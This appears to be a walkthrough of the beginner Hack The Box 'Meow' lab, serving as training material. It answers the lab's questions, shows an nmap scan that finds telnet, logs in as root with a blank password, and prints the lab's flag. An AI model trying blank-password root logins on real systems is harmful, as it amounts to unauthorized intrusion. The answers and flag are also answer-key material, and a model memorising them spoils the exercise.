● Meow **ACTIVE**
VERY EASY

TARGET MACHINE IP ADDRESS
10.129.1.17

1. What does the acronym VM stand for?

     Answer: Virtual Machine

2. What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a console or shell.

     Answer: Terminal

3. What service do we use to form our VPN connection into HTB labs?

     Answer: openvpn

4. What tool do we use to test our connection to the target with an ICMP echo request?

     Answer: ping

5. What is the name of the most common tool for finding open ports on a target?

     Answer: nmap

6. What service do we identify on port 23/tcp during our scans?


```
┌──(kali㉿kali)-[~/Desktop/HTB/labs]
└─$ nmap -Pn -sV -p 23 10.129.1.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 06:30 EDT
Nmap scan report for 10.129.1.17
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

     Answer: telnet

7. What username is able to log into the target over telnet with a blank password?


```
┌──(kali㉿kali)-[~/Desktop/HTB/labs]
└─$ telnet 10.129.1.17
Trying 10.129.1.17 ...
```

```
Hack the Box

Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
```

```
Last login: Sun Jul 27 10:33:03 UTC 2025 on pts/0
root@Meow:~#
```

Answer: root

8. Submit root flag.

```
root@Meow:~# ls
flag.txt    snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
```

Answer: b40abdfe23665f766f9c61ecba8a4c19